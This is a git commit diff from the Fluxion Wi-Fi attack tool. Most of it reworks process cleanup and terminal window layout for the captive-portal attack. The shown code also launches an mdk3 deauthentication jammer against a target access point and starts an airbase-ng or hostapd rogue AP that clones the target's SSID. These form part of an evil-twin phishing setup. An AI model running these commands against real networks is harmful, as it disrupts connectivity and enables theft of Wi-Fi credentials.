Enhancements & additions for Captive Portal.

Captive Portal will now target its service PIDs to accurately kill them.
Captive Portal's window arrangement has been enhanced (rearranged).
Captive Portal will now show the web server access log.
This commit is contained in:
Matias Barcenas 2017-12-06 01:54:49 -06:00
parent d6e35fef00
commit 9b8446c957
4 changed files with 100 additions and 49 deletions

View File

@ -968,29 +968,34 @@ function stop_attack() {
# Signal any authenticator to stop authentication loop. # Signal any authenticator to stop authentication loop.
if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi
killall mdk3 &> $FLUXIONOutputDevice if [ "$CaptivePortalJammerServiceXtermPID" ]; then
local FLUXIONJammer=$(ps a | grep -e "FLUXION AP Jammer" | awk '{print $1'}) kill $(pgrep -P $CaptivePortalJammerServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
if [ "$FLUXIONJammer" ] CaptivePortalJammerServiceXtermPID="" # Clear parent PID
then kill $FLUXIONJammer &> $FLUXIONOutputDevice
fi fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
# Kill captive portal web server log viewer.
if [ "$CaptivePortalWebServiceXtermPID" ]; then
kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice
CaptivePortalWebServiceXtermPID="" # Clear service PID
fi
# Kill captive portal web server. # Kill captive portal web server.
if [ $CaptivePortalServerPID ]; then if [ "$CaptivePortalWebServicePID" ]; then
kill $CaptivePortalServerPID &> $FLUXIONOutputDevice kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice
CaptivePortalServerPID="" CaptivePortalWebServicePID="" # Clear service PID
fi fi
# Kill python DNS service if one is found. # Kill python DNS service if one is found.
local FLUXIONDNS=$(ps a | grep -e "FLUXION AP DNS" | awk '{print $1'}) if [ "$CaptivePortalDNSServiceXtermPID" ]; then
if [ "$FLUXIONDNS" ] kill $(pgrep -P $CaptivePortalDNSServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
then kill $FLUXIONDNS &> $FLUXIONOutputDevice CaptivePortalDNSServiceXtermPID="" # Clear parent PID
fi fi
# Kill DHCP service. # Kill DHCP service.
local FLUXIONDHCP=$(ps a | grep -e "FLUXION AP DHCP" | awk '{print $1'}) if [ "$CaptivePortalDHCPServiceXtermPID" ]; then
if [ "$FLUXIONDHCP" ] kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
then kill $FLUXIONDHCP &> $FLUXIONOutputDevice CaptivePortalDHCPServiceXtermPID="" # Clear parent PID
fi fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt" sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt"
@ -1009,21 +1014,27 @@ function start_attack() {
captive_portal_start_interface captive_portal_start_interface
echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice"
xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" &
CaptivePortalDHCPServiceXtermPID=$! # Save parent's pid, to get to child later.
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" &
CaptivePortalDNSServiceXtermPID=$! # Save parent's pid, to get to child later.
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice
CaptivePortalServerPID=$! CaptivePortalWebServicePID=$!
xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" -title "FLUXION Web Service" -e "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" &
CaptivePortalWebServiceXtermPID=$!
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst" echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" -title "FLUXION AP Jammer Service [$APTargetSSID]" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
CaptivePortalJammerServiceXtermPID=$! # Save parent's pid, to get to child later.
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
xterm -hold $TOPRIGHT -bg "#000000" -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -269,67 +269,106 @@ fi
#################################### < Resolution > #################################### #################################### < Resolution > ####################################
function fluxion_set_resolution() { # Windows + Resolution function fluxion_set_resolution() { # Windows + Resolution
function resA() { function resA() { ## A) 1024x600
TOPLEFT="-geometry 90x13+0+0" TOPLEFT="-geometry 90x13+0+0"
TOPRIGHT="-geometry 83x26-0+0" TOPRIGHT="-geometry 82x26-0+0"
BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMLEFT="-geometry 90x24+0-0"
BOTTOMRIGHT="-geometry 75x12-0-0" BOTTOMRIGHT="-geometry 74x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0" TOPLEFTBIG="-geometry 90x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0" TOPRIGHTBIG="-geometry 82x26-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+125"
RIGHT="-geometry 100x24-0+125"
} }
function resB() { function resB() { ## B) 1024x768
TOPLEFT="-geometry 92x14+0+0" TOPLEFT="-geometry 92x14+0+0"
TOPRIGHT="-geometry 68x25-0+0" TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMLEFT="-geometry 92x36+0-0"
BOTTOMRIGHT="-geometry 74x20-0-0" BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0" TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0" TOPRIGHTBIG="-geometry 74x30-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+200"
RIGHT="-geometry 100x24-0+200"
} }
function resC() { function resC() { ## C) 1280x768
TOPLEFT="-geometry 100x20+0+0" TOPLEFT="-geometry 100x20+0+0"
TOPRIGHT="-geometry 109x20-0+0" TOPRIGHT="-geometry 110x20-0+0"
BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 109x20-0-0" BOTTOMRIGHT="-geometry 110x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0" TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0" TOPRIGHTBIG="-geometry 110x30-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+200"
RIGHT="-geometry 100x24-0+200"
} }
function resD() { function resD() { ## D) 1280x1024
TOPLEFT="-geometry 110x35+0+0" TOPLEFT="-geometry 110x35+0+0"
TOPRIGHT="-geometry 99x40-0+0" TOPRIGHT="-geometry 100x40-0+0"
BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMLEFT="-geometry 110x35+0-0"
BOTTOMRIGHT="-geometry 99x30-0-0" BOTTOMRIGHT="-geometry 100x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0" TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0" TOPRIGHTBIG="-geometry 100x40-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+350"
RIGHT="-geometry 100x24-0+350"
} }
function resE() { function resE() { ## E) 1600x1200
TOPLEFT="-geometry 130x43+0+0" TOPLEFT="-geometry 130x43+0+0"
TOPRIGHT="-geometry 68x25-0+0" TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0" BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0" TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0" TOPRIGHTBIG="-geometry 132x48-0+0"
TOP="-geometry 100x24+500+0"
BOTTOM="-geometry 100x24+500-0"
LEFT="-geometry 100x24+0+400"
RIGHT="-geometry 100x24-0+400"
} }
function resF() { function res1K() { ## 1K 1920x1080
TOPLEFT="-geometry 100x17+0+0" TOPLEFT="-geometry 100x24+0+0"
TOPRIGHT="-geometry 90x27-0+0" TOPRIGHT="-geometry 100x24-0+0"
BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMLEFT="-geometry 100x24+0-0"
BOTTOMRIGHT="-geometry 90x20-0-0" BOTTOMRIGHT="-geometry 100x24-0-0"
TOPLEFTBIG="-geometry 100x70+0+0" TOPLEFTBIG="-geometry 140x48+0+0"
TOPRIGHTBIG="-geometry 90x27-0+0" TOPRIGHTBIG="-geometry 140x48-0+0"
TOP="-geometry 100x24+650+0"
BOTTOM="-geometry 100x24+650-0"
LEFT="-geometry 100x24+0+400"
RIGHT="-geometry 100x24-0+400"
} }
detectedresolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) function res2K() { ## 2K 2560x1440
TOPLEFT="-geometry 100x24+0+0"
TOPRIGHT="-geometry 100x24-0+0"
BOTTOMLEFT="-geometry 100x24+0-0"
BOTTOMRIGHT="-geometry 100x24-0-0"
TOPLEFTBIG="-geometry 140x48+0+0"
TOPRIGHTBIG="-geometry 140x48-0+0"
TOP="-geometry 100x24+975+0"
BOTTOM="-geometry 100x24+975-0"
LEFT="-geometry 100x24+0+550"
RIGHT="-geometry 100x24-0+550"
}
detectedresolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d " " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in case $detectedresolution in
"1024x600" ) resA ;; "1024x600" ) resA ;;
"1024x768" ) resB ;; "1024x768" ) resB ;;
@ -337,7 +376,8 @@ function fluxion_set_resolution() { # Windows + Resolution
"1366x768" ) resC ;; "1366x768" ) resC ;;
"1280x1024" ) resD ;; "1280x1024" ) resD ;;
"1600x1200" ) resE ;; "1600x1200" ) resE ;;
"1366x768" ) resF ;; "1920x1080" ) res1K;;
"2560x1440" | "2560x1418" ) res2K;;
* ) resA ;; * ) resA ;;
esac esac
} }

View File

@ -45,7 +45,7 @@ function ap_prep() {
function ap_start() { function ap_start() {
ap_stop ap_stop
xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
local parentPID=$! local parentPID=$!
# Wait till airebase-ng has started and created the extra virtual interface. # Wait till airebase-ng has started and created the extra virtual interface.

View File

@ -69,7 +69,7 @@ channel=$APTargetChannel\
function ap_start() { function ap_start() {
ap_stop ap_stop
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" & xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
local parentPID=$! local parentPID=$!
# Wait till hostapd has started and its virtual interface is ready. # Wait till hostapd has started and its virtual interface is ready.